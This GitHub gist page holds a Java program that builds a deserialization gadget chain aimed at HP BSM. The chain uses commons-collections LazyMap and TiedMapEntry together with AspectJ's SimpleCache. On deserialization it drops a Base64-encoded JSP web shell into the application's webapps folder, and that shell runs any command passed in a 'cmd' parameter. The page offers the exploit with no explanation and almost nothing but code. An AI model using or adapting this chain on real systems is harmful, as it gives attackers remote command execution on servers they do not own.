Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
import com.hp.bsm.platform.marble.worker.filter.W_ObjectiveResultImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xpath.axes.IteratorPool;
import uk.ltd.getahead.dwr.create.JsfCreator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.*;
public class Test1 {
public static void main(String[] args) throws Exception{
Object t1 = getObject();
FileOutputStream fos = new FileOutputStream("emp.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(t1);
fos.close();
oos.close();
FileInputStream fis = new FileInputStream("emp.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
ois.close();
fis.close();
}
private static Object getObject() throws Exception{
Constructor ctor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructors()[0];
ctor.setAccessible(true);
Object simpleCache = ctor.newInstance("../AppServer/webapps/site.war/", 12);
Transformer ct = new ConstantTransformer(Base64.getDecoder().decode("PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiJT4KPCUKJT4KPEhUTUw+PEJPRFk+CkNvbW1hbmRzIHdpdGggSlNQCjxGT1JNIE1FVEhPRD0iR0VUIiBOQU1FPSJteWZvcm0iIEFDVElPTj0iIj4KPElOUFVUIFRZUEU9InRleHQiIE5BTUU9ImNtZCI+CjxJTlBVVCBUWVBFPSJzdWJtaXQiIFZBTFVFPSJTZW5kIj4KPC9GT1JNPgo8cHJlPgo8JQppZiAocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpICE9IG51bGwpIHsKICAgIG91dC5wcmludGxuKCJDb21tYW5kOiAiICsgcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpICsgIjxCUj4iKTsKICAgIFByb2Nlc3MgcDsKICAgIGlmICggU3lzdGVtLmdldFByb3BlcnR5KCJvcy5uYW1lIikudG9Mb3dlckNhc2UoKS5pbmRleE9mKCJ3aW5kb3dzIikgIT0gLTEpewogICAgICAgIHAgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJjbWQuZXhlIC9DICIgKyByZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpOwogICAgfQogICAgZWxzZXsKICAgICAgICBwID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpOwogICAgfQogICAgT3V0cHV0U3RyZWFtIG9zID0gcC5nZXRPdXRwdXRTdHJlYW0oKTsKICAgIElucHV0U3RyZWFtIGluID0gcC5nZXRJbnB1dFN0cmVhbSgpOwogICAgRGF0YUlucHV0U3RyZWFtIGRpcyA9IG5ldyBEYXRhSW5wdXRTdHJlYW0oaW4pOwogICAgU3RyaW5nIGRpc3IgPSBkaXMucmVhZExpbmUoKTsKICAgIHdoaWxlICggZGlzciAhPSBudWxsICkgewogICAgb3V0LnByaW50bG4oZGlzcik7CiAgICBkaXNyID0gZGlzLnJlYWRMaW5lKCk7CiAgICB9Cn0KJT4KPC9wcmU+CjwvQk9EWT48L0hUTUw+"));
final Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "blank.jsp.jsp");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
W_ObjectiveResultImpl w_objectiveResult = new W_ObjectiveResultImpl(null, null, null, map, null, simpleCache, null);
return w_objectiveResult;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment